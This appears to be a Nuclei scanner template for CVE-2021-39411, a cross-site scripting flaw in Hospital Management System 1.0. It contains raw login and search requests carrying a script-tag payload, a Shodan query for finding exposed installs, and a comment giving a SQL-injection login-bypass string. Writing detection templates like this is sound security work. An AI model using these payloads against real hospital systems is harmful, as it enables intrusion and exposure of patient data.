id: CVE-2021-39411 info: name: Hospital Management System 1.0 - Cross-Site Scripting author: arafatansari severity: high description: | Hospital Management System 1.0 contains a cross-site scripting vulnerability via the searchdata parameter in doctor/search.php and patient-search.php. impact: | Authenticated attackers can inject malicious JavaScript via XSS in the searchdata parameter, potentially stealing session cookies or performing unauthorized administrative actions. remediation: | Apply security patches or upgrade to Hospital Management System version 1.1 or later. reference: - https://vulmon.com/vulnerabilitydetails?qid=CVE-2021-39411&scoretype=cvssv3 - https://nvd.nist.gov/vuln/detail/CVE-2021-39411 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N cvss-score: 7.2 cve-id: CVE-2021-39411 epss-score: 0.00781 epss-percentile: 0.74057 cwe-id: CWE-79 cpe: cpe:2.3:a:phptpoint:hospital_management_system:*:*:*:*:*:*:*:* metadata: verified: true max-request: 4 shodan-query: http.html:"Hospital Management System" comment: Login bypass is also possible using the payload - admin'+or+'1'%3D'1' in username. product: hospital_management_system vendor: phptpoint tags: cve,cve2021,hms,hospital,cms,xss,authenticated,vuln http: - raw: - | POST /hms/doctor/ HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded username={{username}}&password={{password}}&submit= - | POST /hms/doctor/search.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded searchdata=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&search= - | POST /hms/admin/ HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded username={{username}}&password={{password}}&submit= - | POST /hms/admin/patient-search.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded searchdata=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&search= matchers: - type: dsl dsl: - 'contains(header_2, "text/html") || contains(header_4, "text/html")' - "status_code_2 == 200 || status_code_4 == 200" - 'contains(body_2, ''Result against \"\" keyword'') || contains(body_4, ''Result against \"\" keyword'')' condition: and # digest: 4a0a00473045022100c54c66fbeae85b2b90d41e27ee8ba55f00eea42e27d49e81e5af5209b63e537102206fc088598000639be021b7e8096c9c673b6a278c454f6bf9c3645f89859156fd:922c64590222798bb761d5b6d8e72950